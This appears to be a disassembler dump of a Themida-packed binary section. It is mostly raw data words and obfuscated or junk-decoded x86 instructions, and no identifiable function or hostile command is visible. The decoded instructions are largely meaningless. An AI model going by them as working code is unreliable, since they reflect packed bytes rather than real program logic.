		dd 0D8235123h, 69460E5Fh, 6CDC5C55h, 466BEF7Eh,	9B9872E2h
		dd 0A70A616h, 8C370737h, 1693611Dh, 60D03360h, 61A2E75Eh
		dd 78491693h, 0B5645F57h, 0CC3CBD0Ah, 61418C29h, 5B1E1693h
		dd 5B0132Bh, 38169361h,	20A18E67h, 61DD04BFh, 0AC131693h
		dd 9B05FA3Ch, 9899A58Ah, 906DA919h, 8CB93CFAh, 0D4169360h
		dd 3B787A65h, 67A446B6h, 2C039202h, 0DA595DCDh,	16936603h
		dd 0F0777F5h, 0E82E9E22h, 14B31A8Fh, 1EEF2797h,	3AA51431h
		dd 0D9BC2C8Dh, 0B5DC6775h, 0D6169366h, 93662A6Fh, 60C0D116h
		dd 42F59B4Fh, 2E0171F6h, 6669B510h, 3B0C1693h, 3AAA0E23h
		dd 1181E7FCh, 63072825h, 81F2E3A9h, 4D942F5Dh, 3016939Ah
		dd 0D3CF381Fh, 6D09B456h, 1A82FDBDh, 9B191A44h,	0A2577A2Bh
		dd 5166AF1h, 0C6832A65h, 121F6E63h, 1C9E9h, 0BABBD00h
		dd 0E44003DBh, 79169C17h, 91BE2E8Ch, 83C68FCDh,	979FEBBh
		dd 7F27300Dh, 1714F650h, 1BA70894h, 13EC2A9Ah, 0AD82133Ch
		dd 5DD8DE4Eh, 91D8C096h, 0E5124305h, 0E3268419h, 1E92B78Eh
		dd 48599DDAh, 0A10C8367h, 56E26051h, 494D62D2h,	16959674h
		dd 99B6268Ah, 54C427FCh, 0F929D862h, 31A1071Ch,	3CE6282Dh
		dd 0FF08A847h, 0B310210Bh, 8BA8B243h, 61D2B828h, 476C72E2h
		dd 9D9773E3h, 4D3DC116h, 0FEB1380Eh, 0C939BFF4h, 0A8E7F0CDh
		dd 4F2C47C6h, 0C92AE783h, 467BC59h, 77BCA294h, 0BD9284F4h
		dd 0C814E3CDh, 0CEBFF767h, 2366DDE1h, 68EF6186h, 9278E84Bh
		dd 0D6781D2Eh, 66574701h, 7B6FB376h, 0A2BC2C8Eh, 0FCC009BCh
		dd 9C1EEF61h, 15AB742Ch, 2B37B472h, 4BC9A18Eh, 0D5F21ADDh
		dd 5F26F421h, 9492B78Eh, 4859EF61h, 0CF764867h,	0EF619486h
		dd 8DD1A475h, 0DD68C924h, 0EF6194B4h, 4D496637h, 949DC47Fh
		dd 4F60EF61h, 2A898A60h, 94D7FAC9h, 6996EF61h, 0A7B79808h
		dd 6194F51Ch, 88A778EFh, 0AD15958Eh, 0FCC7046Dh, 0EF6163D5h
		dd 0C0B08798h, 744A658Bh, 4C4ABA3Fh, 969D9773h,	669CA94h
		dd 46EA2F96h, 8091EF61h, 0C700AFEAh, 507FFC64h,	6EB1D72Eh
		dd 0B7347D41h, 0E3624F47h, 654A4373h, 0BA39E685h, 1BDE4C4Ah
		dd 2170D3EBh, 0DCEF61FFh, 76F52ACBh, 421585EAh,	3DFC21BDh
		dd 4F4768EEh, 0D656E262h, 614D4966h, 37B413BAh,	82012EC7h
		dd 0E3962412h, 8518ABB3h, 88EF61E9h, 0F351DEB7h, 93C99383h
		dd 61E9E930h, 0E78394EFh, 0DE0EB1h, 54EF50B3h, 0EF61E90Dh
		dd 1AF0DFF0h, 0E9288144h, 6233EF61h, 0C724A593h, 6A45B53Bh
		dd 2B5B1B8Bh, 577A4913h, 161086F2h, 74CF6505h, 169C10BCh
		dd 9DC47F41h, 601693ECh, 555E604Fh, 8ACF76D7h, 711693ECh
		dd 39E68FA0h, 0DD4B4BBBh, 6ED5E919h, 10890476h
		dd 85003607h, 1CAD4458h, 2D316115h, 3279262Fh, 0ADE959D4h
		dd 0C5A107D0h, 3BB312F8h, 3A1AB1F0h, 0DD5C5569h, 0A28F7D6Dh
		dd 0DC05C021h, 9F02B9F0h, 0CC15B08Eh, 0AF02B9F0h, 0BAECB19Eh
		dd 0A5ABB198h, 4F4338Fh, 5BDB0000h, 94150AEBh, 63E25124h
		dd 0AB0D22F3h, 65C55A3Bh, 8B20F5h, 0D8BD2D8Dh, 0A174E44Bh
		dd 33C23292h, 660F7FFCh, 8FD2715Dh, 6E169A88h, 0BAB8FADh
		dd 0C84003DBh, 95169C1Fh, 0EB339284h, 941693DFh, 1297B21Dh
		dd 9A9DBD4Bh, 0B4h, 91D8C790h, 81766A57h, 624F31E9h, 57286EDEh
		dd 0F29508B3h, 79671086h, 78C69EB7h, 0F58AFE67h, 27971415h
		dd 29991A17h, 777F4EDh,	83334228h, 0DB886B6h, 1086E0CCh
; ---------------------------------------------------------------------------
		scasd


loc_5F156D:				; DATA XREF: Themida_:00579CD4o
		sahf
		cwde
		mov	ebp, [eax]
		ror	byte ptr [ecx-1796CBECh], 0C4h
		jmp	short loc_5F1584
; ---------------------------------------------------------------------------
		dw 0DF9Ch
		dd 64CD8FAFh, 0E42D9808h
; ---------------------------------------------------------------------------


loc_5F1584:				; CODE XREF: sub_5F0C13+965j
		daa


loc_5F1585:				; CODE XREF: sub_5F0C13+985j
		xchg	dl, [eax]
		xchg	esi, [esi-693C7D2Ch]
		daa
		xchg	dl, [eax]
		db	65h
		push	esp
		bound	edx, [ecx-0Eh]
		mov	cl, [ebx-0Eh]
		loop	loc_5F1585
		and	cl, [edx]
		and	eax, 69996A50h
		push	ebp
		pop	esp
		loopne	loc_5F1624
		les	ebx, [ebp+601086ADh] ; CODE XREF: sub_5F0C13+9B8j
		dec	edi
		pusha
		mov	dh, [ecx+edx+1086ADACh]
		insd
		inc	esp
		call	near ptr 0C4845433h
		push	esp
		jnp	short near ptr dword_5F14A0+0ADh
		das
		push	ds
		sbb	[ebp+10875270h], bl
		js	short loc_5F15D9
		sahf
		mov	al, 13h
		jecxz	short near ptr loc_5F15A5+3
		push	10865245h
		call	near ptr 427B54AEh
		icebp
		xchg	eax, ecx


loc_5F15D9:				; CODE XREF: sub_5F0C13+9B3j
		and	[ebp+ebx*2+20108652h], eax
		cvtdq2ps xmm7, oword ptr [edi]
		push	ds
		add	[eax], eax
		add	[ebx+4Fh], bl
; ---------------------------------------------------------------------------
		db 62h,	0E0h, 70h
		dd 3060209Ah, 0F227972Eh, 6FC4169Bh, 0A7989E0Eh, 55C1A890h
		dd 0CFE27E7h, 869B9BACh, 7AE4B121h, 8FB8E164h, 56431693h
		dd 5E2F67D7h, 5E1F9971h, 0A023102Eh, 0DA045A30h
; ---------------------------------------------------------------------------


loc_5F1624:				; CODE XREF: sub_5F0C13+990j
		fst	dword ptr [edi-19h]
		add	ebx, [eax+16938F7Dh]
		sahf
		rol	byte ptr ds:16938FDCh, 3Dh
		xchg	al, [ebx-71h]
		xchg	eax, ebx
		push	ss
		sub	bl, [ecx]
		cmpsd
		sahf
		or	al, 0C6h
		popf
		out	32h, eax
		jle	short near ptr loc_5F1695+1
		mov	ecx, 83023405h
		pop	ecx
		cmp	eax, 278B1693h
		mov	bh, 7Fh
		xchg	eax, esi
		outsd
		nop
		push	cs
		in	al, 55h
		jge	short loc_5F1690
		mov	ah, 44h
		push	edx
		mov	bh, 0FEh
		iret
; ---------------------------------------------------------------------------
		dd 93A0B614h, 6F2AC030h, 91A40940h, 922C9DBDh, 0
		dd 4DA0AABh, 86F21841h,	35B6E310h, 0DFD747A9h, 0F8D5C1EEh
		dd 0DFFDDFD7h
dword_5F168C	dd 86F23D64h	; ---------------------------------------------------------------------------


loc_5F1690:				; CODE XREF: sub_5F0C13+A45j
		adc	al, al


loc_5F1692:				; CODE XREF: sub_5F0C13:loc_5F16DCj
		shr	dword ptr [esi-2], cl


loc_5F1695:				; CODE XREF: sub_5F0C13+A30j
		sar	dword ptr [ecx], 1


loc_5F1697:				; CODE XREF: sub_5F0C13+A90j
		clc
		ja	short loc_5F16B0
		dec	eax
		jge	short loc_5F16F1
		repne xchg dl, [eax]
		pop	ss
		push	es
		lahf
		jp	short loc_5F1697
		xchg	dl, [eax]
		add	[eax], esi
		pop	ds


loc_5F16AA:				; CODE XREF: sub_5F0C13+AD1j
		jbe	short loc_5F16DC
; ---------------------------------------------------------------------------
		dd 5D7F5F8Fh
; ---------------------------------------------------------------------------


loc_5F16B0:				; CODE XREF: sub_5F0C13+A85j
		push	esp
		xlat
		sbb	dword ptr [bx+si], 45h
		repne xchg dl, [eax]
		db	66h
		jno	short near ptr dword_5F168C
		iret
; ---------------------------------------------------------------------------
		db 0FBh, 0C1h, 0EDh
		dd 85960AE0h, 0AC8ACB91h, 41E83D21h, 0A1980A3Bh, 0AC83EFE0h
		dd 0CABEDFBEh, 52B01087h
; ---------------------------------------------------------------------------


loc_5F16DC:				; CODE XREF: sub_5F0C13:loc_5F16AAj
		loop	loc_5F1692
		mov	edi, 0D6CBCB3Bh
		push	ecx
		loope	loc_5F16AA
		push	ebp
		push	79h
		dec	esp
; ---------------------------------------------------------------------------
		dw 0F2DDh
		dd 536B9B5Ch
		db 82h
; ---------------------------------------------------------------------------


loc_5F16F1:				; CODE XREF: sub_5F0C13+A88j
		mov	ebx, 1E5D025Eh
		cmp	[edi-437D97B9h], dh
		or	[ecx+ebx*2-79h], esi
		adc	bh, dh
		db	26h
		dec	edi
		jmp	near ptr 87B6DE2Dh
; ---------------------------------------------------------------------------
		db 2Ah,	0C8h, 58h
		dd 8B89615Eh, 0D0A51596h, 4EF516EAh, 1086F20Bh,	745229F2h
		dd 0D24FD3F9h, 0CB0CD2FDh, 8A62254Bh, 720C2B50h, 0F1CB13FFh
		dd 7BE806Ah, 169B46D3h,	268D899Ah, 169334E7h, 3590CE90h
		dd 169334ECh, 0E5CCBE8Fh, 35BBF8FAh, 0EFCD1C5h,	0BDE41A9Fh
		dd 65A29Dh, 0AB760000h,	0C838BF0Bh, 0B7E6F1CEh,	6D5236CBh
		dd 0E4FAC4EBh, 0B9FD6DCFh, 7058F3C4h, 34686D7Fh, 61CB6756h
		dd 0A172169Bh, 2B8AA775h, 83AC1C9Fh, 6591BCE7h,	61C71693h
		dd 50ACC5F1h, 0E151B3E0h, 0F6E950B5h, 3A773DEDh, 714E48B8h
		dd 65B3D66Dh, 693A1693h, 4BA71681h, 751585E6h, 0BDB0B336h
		dd 0C3399Dh, 244D0000h,	525F57C7h, 9D9680F0h, 0A390AE1Eh
		dd 765AE1Eh, 2839F397h,	4DBD3FCBh, 4373E346h, 7C59654Ah
		dd 0C42D9D78h, 0E0AB5FECh, 862D98E5h, 0BD2D8E10h, 78E84BD8h
		dd 0DC0CAC3Eh, 2BFB4302h, 1B18169Bh, 5E422898h,	3E02A84Dh
		dd 4D95300Eh, 30108B7Ch, 25118103h, 0F73FAF0Ch,	38062906h
		dd 84EB77FBh, 0F05A3B14h, 7E3257EEh, 0E8B91CABh, 41B11102h
		dd 0C30E84BCh, 6DD5DFB1h, 196h,	0A84DBD39h, 0EF86F67Bh
		dd 0C055C540h, 0F89D0D73h, 0BE57C72Bh, 8BEFA2E9h, 42A57A1Bh
		dd 90EC43D2h, 5DDE5520h, 8FBF08EDh, 9A8CED34h, 2D0F9016h
		dd 0BF56C624h, 0D2A31370h, 6174F88h, 0ABDE12B6h, 0F3970768h
		dd 0DB0BAB3Fh, 0F5F04003h, 0BC8D169Bh, 0F1D2FB7Ah, 999B1693h
		dd 0BDAD1D98h, 0D507EBD2h, 93F12B6Eh, 29C1D216h, 0BD1CFF6Ah
		dd 0A9859Dh, 92C30000h,	0E7285781h, 0E84C3EB6h,	5F57C724h
		dd 364F052h, 2E8EA393h,	0A88778BEh, 9D99096Bh, 2C878FA0h
		dd 1086F7C1h, 11E454D7h, 531A122h, 0CB93C373h, 9BF134F8h
		dd 8D683916h, 1529591Dh, 8B9185AEh, 0DBE3B410h,	0E252B001h
		dd 422069DCh, 0FACB1CAAh, 2F9F2310h, 0E959D946h, 0C3E9D614h
		dd 1FA391B1h, 0BEh, 0B045B511h,	0E78EFE83h, 0A84DBD38h
		dd 0F085F57Bh, 0A64FBF43h, 0A307BAF1h, 6ACD6233h, 0A8041BFAh
		dd 65C65D38h, 0A7B720F5h, 9A8CF51Ch, 45F77816h,	8856C624h
		dd 6155C52Bh, 507FEF50h, 0E744DBBAh, 4F9A9E77h,	0F293B68Dh
		dd 4DF81086h, 1086F204h, 596AD6E7h, 0DF61CE7Eh,	5E0C8F95h
		dd 0D8DE4EADh, 1DF868CBh, 0A5B9E98Dh, 1CAD9EB7h, 0A9D9B3Ch
		dd 803ECFAFh, 5436195Bh, 0A3025F69h, 0B3377C16h, 26F7A743h
		dd 108003F0h, 57D8D985h, 0A50603E7h, 7F820135h,	0EE544113h
		dd 0C6F5887h, 0C92AF99Ch, 0E4445D59h, 0EC496A74h, 0A5A08E7Ch
		dd 7DFEC9F4h, 38BB680Dh, 366CEC8h, 42000000h, 0CA244B2Fh
		dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h
		dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 68783C7Ah, 0B18h
		dd 53242C89h, 0C381E389h, 4, 8704EB83h,	895C241Ch, 8957243Ch
		dd 4C781E7h, 81000000h,	4EFh, 243C8700h, 242C895Ch, 1C727168h
		dd 243C8B06h, 4C481h, 0B6680000h, 8900007Bh, 4832424h
		dd 525D0424h, 24048157h, 14E239C4h, 0C4EA815Ah,	8914E239h
		dd 0FF5A0855h, 815D2434h, 4C4h,	243C8B00h, 5E08950h, 4
		dd 8704C083h, 0E95C2404h, 0FFF8FE02h, 34CAE0D2h, 3A693830h
		dd 0E412EB5Bh
		db 0E4h
; ---------------------------------------------------------------------------


loc_5F1A8D:				; CODE XREF: sub_5F0C13:loc_5F0C55j
		mov	eax, 61C7FD0h
		add	eax, ebp
		jmp	eax
sub_5F0C13	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 10BAh
		dd 547308ADh, 0E2503FE2h, 153C2E33h, 0AEC306E5h, 2F8D1F77h
		dd 8949505Ah, 85F1216Bh, 6A0667E0h, 48F5E09h, 85034296h
		dd 8AE84B01h, 97661B6Fh, 0D07B6FE5h, 498338CEh,	876575A2h
		dd 521A0E7Ah, 0DC9B4BC1h, 0BE84CE2h, 3F000000h,	4696EE60h
		dd 506A61BDh, 8C0F15ADh, 3, 58D2BF0Fh, 8820Fh, 8D0F0000h
		dd 2, 0C0816160h, 5B1Bh, 68F9B70Fh, 16A2h, 4880Fh, 0BB660000h
		dd 8B5E23C9h, 0B70F6008h, 6150B0D1h, 27D4E981h,	8B6648E7h
		dd 1AC181D0h, 80417F2Fh, 0E981D5C3h, 1CA55314h,	7DBF51F5h
		dd 8F1A58EBh, 810F00h, 83000000h, 8B6603E8h, 13E948FAh
		dd 0B000000h, 6391A30Ch, 4CD21D2Fh, 6CA23863h, 0C80BDA87h
		dd 0EE8309D2h, 0A8850F01h, 0FFFFFFFh, 16E9D3B7h, 0C4000000h
		dd 16359Eh, 4 dup(0)
		dd 551E900h, 2F8F0000h,	0E849D6BFh, 27869D78h, 0EF51DEB7h
		dd 2989967Fh, 0CCBFDCB9h, 740171D1h, 2DC838BFh,	6F0676F6h
		dd 42D343C0h, 0D3F6CD91h, 9A169A73h, 0C72463D9h, 0D5EAD65Fh
		dd 80AF9314h, 0AD1D9D96h, 68D85BC8h, 46B6352Eh,	6EDE6350h
		dd 1D6B828h, 0B32B8D80h, 54291A31h, 0BADA7BC0h,	13BAF595h
		dd 0D2CF37B4h, 65F8F16Dh, 1221F4DBh, 7CB342B2h,	8DA69000h
		dd 0AB1B9E2Ah, 2B39284h, 2090ECDBh, 0ED5DDE55h,	11380BD1h
		dd 0DC10867Ah, 27F51FCBh, 5238A80Ah, 867A2B73h,	4DBD3D10h
		dd 67D75849h, 53C3422Fh, 7C6756DDh, 4405B841h, 97A8A1B9h
		dd 8D3Fh, 0C7245B00h, 0EE558757h, 1086F2ABh, 0DB76F0E9h
		dd 0AB6712Fh, 575FA39h,	0E04E3C11h, 868C3E65h, 14BB3A10h
		dd 0A897C835h, 0D1746A97h, 10868088h, 0B6268673h, 97A08F80h
		dd 5F9174F2h, 2814F64Ch, 1, 55C52404h, 0A9F05389h, 0EB1086F2h
		dd 9290DB39h, 0A08D3336h, 0EA80AF1Fh, 42B2372Ch, 78D95F54h
		dd 48BADF66h, 70411086h, 86488CD5h, 805E6F10h, 86489CC5h
		dd 614E5F10h, 8B32B935h, 714DBD3Ch, 0B951C140h,	76E645DAh
		dd 0C624999Fh, 0EE536056h, 4670E062h, 5B586649h, 8A8466D6h
		dd 0D2716BEFh, 1086F28Fh, 0D6565D6Eh, 0AB5F3066h, 8CEED904h
		dd 93F1421Ch, 1B34A407h, 2D48221Bh, 4AB21021h, 201BEDF2h
		dd 0FA90BF35h, 4C4ABA39h, 0EB4AD657h, 7C423B7Bh, 86A080C9h
		dd 755A6B10h, 0E7F5C741h, 86A0355Ch, 3E7B810h, 0F528218Ch
		dd 3B97A86Dh, 0A0h, 56C6244Fh, 0B4357E60h, 0F2A9F053h
		dd 43541086h, 89552A6Ch, 86F297BAh, 0A5455610h,	9D990964h
		dd 80B62684h, 75A11173h, 0EFF4DBD2h, 0DF13BA21h, 86E773D2h
		dd 0FD3916h, 0D949A96Ah, 0E151AC05h, 35B56A09h,	60E0D1C5h
		dd 64C5EEF0h, 1DCDC2F4h, 0AF1E99EFh, 0A81C3F9Ah, 66A597h
		dd 8EA30000h, 28AAC72Fh, 0C1EE2209h, 33D7A8EEh,	0B68D4FFFh
		dd 1086F293h, 70A1495Ah, 0C29CA212h, 86F2DE03h,	41883B10h
		dd 2C1086F2h, 0C394A51Bh, 8C96B217h, 0C745251Dh, 0ACEA5ADAh
		dd 0D8EFDE4Bh, 1D0BEA5Ah, 6155C524h, 86F2BAE2h,	8E41B810h
		dd 0A81A2EBBh, 0EB697h,	0BFF40000h, 51F4CA3Ah, 1086FE08h
		dd 0D44822F3h, 8461C924h, 0AC5F275Eh, 0F060DDD6h, 0D8E6C9C6h
		dd 0B1E555DBh, 0F3002EDCh, 0FF62090h, 359037A6h, 0B68A30C5h
		dd 0F87BB886h, 979F0F6Ch, 0BF8D89A6h, 86EBDD04h, 0A08FA010h
		dd 75D174CAh, 8169BE5h,	204C813Fh, 54B0F129h, 0B2E4CBE4h
		dd 43D242C1h, 171F8FECh, 933C779Ch, 218CFD16h, 61E445A6h
		dd 16933C38h, 42C1F2C3h, 0B18FDD2h, 0E5FE38A8h,	69201686h
		dd 0E94A7D30h, 0A4099C79h, 2C9DBDE8h, 11Bh, 0DB0BAB00h
		dd 56FCD903h, 2A2457ABh, 84F4CFBBh, 39169B21h, 0B6352E68h
		dd 380AF46h, 2D8EA393h,	7CBE79BDh, 5046B637h, 0B9248B7Fh
		dd 213DAD0Eh, 0AA40B010h, 0F553D6CBh, 53D99DBDh, 0AD000000h
		dd 56ED0EABh, 1086F233h, 0F8C6E9BAh, 86F2244Dh,	0C0F6C790h
		dd 86F21C45h, 7F5D5F90h, 86F29DC4h, 9B4F6090h, 0B485C9F4h
		dd 0E60BBA84h, 851086F2h, 2B89AAB4h, 39B89CBBh,	0C3E3782Dh
		dd 98684C27h, 66000000h, 3B7BEB4Dh, 3B777542h, 2B569256h
		dd 0BABDB3Fh, 0D8D903DBh, 0D5AAEC5Ch, 1E959DEh,	9C0616A2h
		dd 20162716h, 0B540B013h, 0C910B3A9h, 0B41693E6h, 0A90A07E3h
		dd 5476FD39h, 1C1693E6h, 2685426Dh, 99A5159Ah, 93E4E72Ah
		dd 9AB58616h, 9D0D6FC4h, 0A7C6A499h, 2F0F3FFFh,	0B665F994h
		dd 6BAB7C10h, 9185F576h, 16DC03B2h, 5F753841h, 522B6BDBh
		dd 830AD85h, 58883862h,	0F2EBF86h, 0ABAD1A92h, 0CB0FF118h
		dd 288F7C02h, 0AE817EB8h, 0FEC3590h, 0BE8F02CBh, 4F380491h
		dd 0F293B68Dh, 70CD1086h, 87391600h, 89A6169Ah,	0D707B7E1h
		dd 73A13C07h, 132416A3h, 3DAD0E23h, 0F868CB58h,	8A9337BEh
		dd 6ACD26ACh, 44A7BCFAh, 6E27E2D4h, 0C910B33Fh,	0B406C368h
		dd 0DD44CCE3h, 0EE56D5F2h, 8B6A455Bh, 60351A7Eh, 88E470D3h
		dd 0F2FF3718h, 1D181E8Eh, 2586416Ch, 0F053E0B5h, 32E9680h
		dd 0A000000h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h
		dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h
		dd 57783C7Ah, 0BE56E789h, 6BEB01F9h, 5040CE81h,	0F681732Ah
		dd 1D6720C6h, 3AEE814Eh, 1668C71h, 0EF835EF7h, 243C8704h
		dd 4EC835Ch, 68240489h,	531Dh, 52241489h, 0B53929BAh, 0B9514213h
		dd 2B1F275Ah, 0AD0C181h, 0F18139BEh, 54B173Bh, 4A59CA01h
		dd 52F2814Ah, 897357DFh, 0EC835AD0h, 24248904h,	4240483h
		dd 0B951505Ah, 68764B6Bh, 4244C29h, 8428F59h, 6B084281h
		dd 8B68764Bh, 89532414h, 4C381E3h, 83000000h, 1C8704C3h
		dd 48B5C24h, 0E6895624h, 4C681h, 0C6810000h, 4,	5C243487h
		dd 0F8F7A1E9h, 85E3F9FFh, 0A18C1FB6h, 0B8C4838Ch, 61C8608h
		dd 0E0FFC503h, 0E8FEF64h, 7F23BDEh, 0C9EFBE8h, 0FAC4ABBh
		dd 5608109Ah, 2B498740h, 24FD04h, 87D4085h, 1DF6A901h
		dd 35A7D945h, 747A3BD3h, 21B19C4Eh, 57A36605h, 5A242A02h
		dd 60550AF5h, 58B812EAh, 6FEECC7Bh, 6DC8BD77h, 5F65B789h
		dd 1F37E8DCh, 11BA4508h, 8415203h, 4991D1B3h, 4BAD2A0h
		dd 482C647Dh, 657722B2h, 1150D7D8h, 1D1778B9h, 3EF23DF9h
		dd 4E260581h, 51279F83h, 0ECE9h, 0
		dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch
		dd 0F200007Ch, 276h, 5 dup(0)
		dd 80ADA000h, 7Ch, 2Bh dup(0)
		dd 600h, 39E71400h, 7F2D0C16h, 0A8334978h, 5F0CC31Ch, 0FC3BAC33h
		dd 15662234h, 7B651D4h,	0A8E5B419h, 13734CC7h, 966F5732h
		dd 65BC8Fh, 0C128834h, 0D5ED1762h, 1562338Ah, 90E39832h
		dd 98609D21h, 2CCDAAFh,	4EB5DD34h, 0B8DB926Ah, 15609D31h
		dd 46365346h, 1562338Ah, 90E39832h, 98609D21h, 2C1C9AFh
		dd 4EB5DD34h, 7306E86Ah, 940049B9h, 74FAEDEAh, 11ED72CEh
		dd 11A29216h, 156681DBh, 3EED1832h, 0CA8DA4C5h,	0A8E5D9E3h
		dd 137A0F50h, 5CE24B32h, 0ED662232h, 0A8E39CCAh, 1A609409h
		dd 15664AB2h, 156FCB32h, 75E71132h, 0EDE0FAE2h,	0EA4FA50Ah
		dd 1561CBE2h, 57081132h, 12EE9FC5h, 0F8E3C9CAh,	0EC603E09h
		dd 48FC1CDh, 0EB668832h, 0EEDA8AEh, 460072EFh, 0AD4B9EE2h
		dd 0FDE88F9Ch, 1CA3C1F4h, 75302427h, 9E000D81h,	9669E9F5h
		dd 15664433h, 0AD344ACBh, 138F8D9Ah, 63668832h,	0B8CB7CD6h
		dd 4D3DDA2h, 7560041Ah,	98DA1B8Ch, 1568AD1Bh, 45962232h
		dd 191D3801h, 4F2A7381h, 774BAD81h, 156BCB53h, 54031132h
		dd 772BD2FCh, 7C453635h, 985E7E91h, 0D14ADB7h, 0C5997134h
		dd 1577AD52h, 0C0802232h, 80B22E08h, 0E5F9FB45h, 0D7FB1884h
		dd 754F69E0h, 0FDA19A54h, 1566883Ah, 0C1D8F977h, 0A606F8E8h
		dd 9C07706Bh, 4241B7h, 14EE4B34h, 0EC662232h, 0B0394F5h
		dd 15668E27h, 9C694432h, 15662239h, 33869152h, 15660F3Dh
		dd 0D3074432h, 6FE7B7h,	188F5434h, 30668832h, 0C6A715CAh
		dd 7BD85578h, 3E0AD7A4h, 670FE15Ah, 14E74BBCh, 0ED662232h
		dd 3E3A4CDh, 0E0068E27h, 98074682h, 5D1AB7h, 94007134h
		dd 940432DBh, 5447CDF2h, 0C5994328h, 156E9E3Dh,	90698832h
		dd 15664430h, 9E694352h, 15661133h, 28E301C7h, 7560511Bh
		dd 5AD39854h, 1565993Dh, 9E008832h, 90A025E4h, 13732BF7h
		dd 19E71E71h, 0FC668832h, 15664435h, 17BD5688h,	7D233E49h
		dd 8901E36Ch, 1561C43Dh, 91692232h, 15661133h, 90D377CEh
		dd 1A605124h, 156623B3h, 90EBE932h, 1373B30Ah, 15664EDBh
		dd 263A6E32h, 7BD500C7h, 0EA37FB43h, 90EFBDE2h,	137AA578h
		dd 10E71E52h, 73668832h, 9FA58EB3h, 1560A53Dh, 93691132h
		dd 15668832h, 0D0E38253h, 4160373Bh, 156E9E3Dh,	90698832h
		dd 15664430h, 3C0E4352h, 1A88735Ah, 156686BBh, 156FAD32h
		dd 77462232h, 853D986Eh, 0EADF072Eh, 70C187h, 90EBDB34h
		dd 13732A0Ah, 1570013Dh, 9D694432h, 15662222h, 15661ADBh
		dd 0CF9A9732h, 9C87DC40h, 0A1178B24h, 198FC1CDh, 21668832h
		dd 85EE3E2Dh, 60688AB1h, 9C7D7F8Fh, 9E1C6B7h, 90A0BC34h
		dd 13732BF7h, 9E007177h, 7D0771F3h, 0CF067CF0h,	15662FDBh
		dd 0A0B75332h, 89037D2Dh, 0C255924Fh, 0A0998938h, 137307B7h
		dd 157261CBh, 0B2FD4432h, 6C801A25h, 0B7A065C5h, 0C59B9C88h
		dd 9279F3BBh, 90EB0BA5h, 13732A0Ah, 156683DBh, 53B92E32h
		dd 3EC53C56h, 0F55D241Dh, 0F2E7EE52h, 0EA0785B1h, 90EFDAE2h
		dd 137A9660h, 15668EDBh, 0C6484932h, 96B02FDBh,	4BA48Fh
		dd 90698834h, 15664503h, 1577CBCEh, 68031132h, 0A9861C57h
		dd 2642BD10h, 9080EE8Fh, 0D3DE64A9h, 6F4DB7h, 75060134h
		dd 759D953Dh, 94007053h, 742AB0D2h, 3518C25Ah, 156BCBC8h
		dd 71221132h, 73D03206h, 37481EDBh, 0EA44EF31h,	709487h
		dd 17E18734h, 75664432h, 2E72D53h, 75661132h, 156687DAh
		dd 9C571832h, 0FCDD8FF4h, 0E29005B7h, 0C25E96D9h, 90EB2568h
		dd 1373190Ah, 1561973Dh, 96698832h, 15664433h, 0FCB6DDCEh
		dd 15661139h, 0C3EF29E1h, 494475D5h, 0FC9CC07Bh, 15661139h
		dd 0C02184DDh, 4167D653h, 9C832EC7h, 9E147B7h, 90A07134h
		dd 13734DF7h, 9669427Eh, 15661133h, 157261CEh, 42394432h
		dd 0A0A45CFAh, 3D3B6BF0h, 13D6C834h, 0CDFCA72Ah, 7D07E8A3h
		dd 0F540C1F1h, 15760D3Dh, 1E8F4432h, 78662232h,	1BBB5040h
		dd 85D20962h, 0A099A22Dh, 137334B7h, 73A79A52h,	378256B3h
		dd 90EBBD53h, 1373190Ah, 15661BDBh, 0DBB9EA32h,	117CA0BAh
		dd 0EA6D9EA5h, 90EFE8E2h, 137A0F68h, 15664DDBh,	0DC9E4F32h
		dd 8F1980B5h, 0FC9F0FCEh, 15664481h, 0D0E3E4CEh, 4760043Bh
		dd 0F16BE0C7h, 9869F878h, 15662233h, 0D3EECAh, 0ED609D22h
		dd 2E5EC1BFh, 0EC062427h, 74ADA63Dh, 450658CDh,	733D2552h
		dd 7421408Bh, 923094BBh, 0E9068E2Eh, 744294B2h,	1CA3A7F4h
		dd 1A341727h, 156689B4h, 5D0EB832h, 75C06E78h, 0EA07CCB8h
		dd 769D87h, 156AAD34h, 60562232h, 80A300FDh, 4D948D4Ch
		dd 90EB8AF4h, 1373190Ah, 17EC1E52h, 47668832h, 3081C56Bh
		dd 740C6DC0h, 1F8FC1CDh, 80668832h, 0CE6F8ABCh,	895B17F3h
		dd 4FE398E7h, 756094B5h, 156655DBh, 0DFBB4732h,	7AA3E25Dh
		dd 9ABD17F6h, 0FE90A4BCh, 0D307571Dh, 6FD4B7h, 68FDA34h
		dd 79664432h, 0F720A701h, 0D1A62913h, 833BF87Ch, 0F4643D59h
		dd 0FF0ED0A1h, 0E99B5386h, 90D377CEh, 0E9605124h, 2E5EA7BFh
		dd 0EA9A1727h, 90EF74E2h, 13736A0Bh, 0F3E77352h, 56A7FA54h
		dd 0E7E7EE6Bh, 75075485h, 44A19D3Dh, 743E7052h,	1CA30DF4h
		dd 1A114227h, 156623B7h, 0B60EE932h, 1A951F9Ah,	156651B6h
		dd 1576CB32h, 23171132h, 0E575FD2Eh, 98B9B3A8h,	4E84529Fh
		dd 0A0998981h, 13738FBBh, 2DE3C9CBh, 1A603709h,	156606BDh
		dd 15746132h, 215B4432h, 5826BB2Fh, 0CD69FD52h,	68082FDEh
		dd 95957852h, 6888A352h, 0FC76752Dh, 15668838h,	9797C9E9h
		dd 9C0DA445h, 0EA07307Ah, 2EF87E2h, 0FC664432h,	15662220h
		dd 0C27FADFFh, 0D1CB11D2h, 7B843157h, 0CA735DE0h, 90EFDEE9h
		dd 1373BBB7h, 0CCB5C452h, 3A84A354h, 90A070DFh,	137381F7h
		dd 99692460h, 15662234h, 15669A3Dh, 48F8832h, 3A664432h
		dd 0F578C18Eh, 0EE2A5B94h, 87A9A805h, 5B7D827Dh, 24714A53h
		dd 97699BEFh, 15668837h, 0C2D14B52h, 90D3DD53h,	75600424h
		dd 95A5373Dh, 9807C5E7h, 5D1AB7h, 0EA9EED34h, 9C9370E2h
		dd 65DDB7h, 0FE42D34h, 75661132h, 157461C7h, 0ED914432h
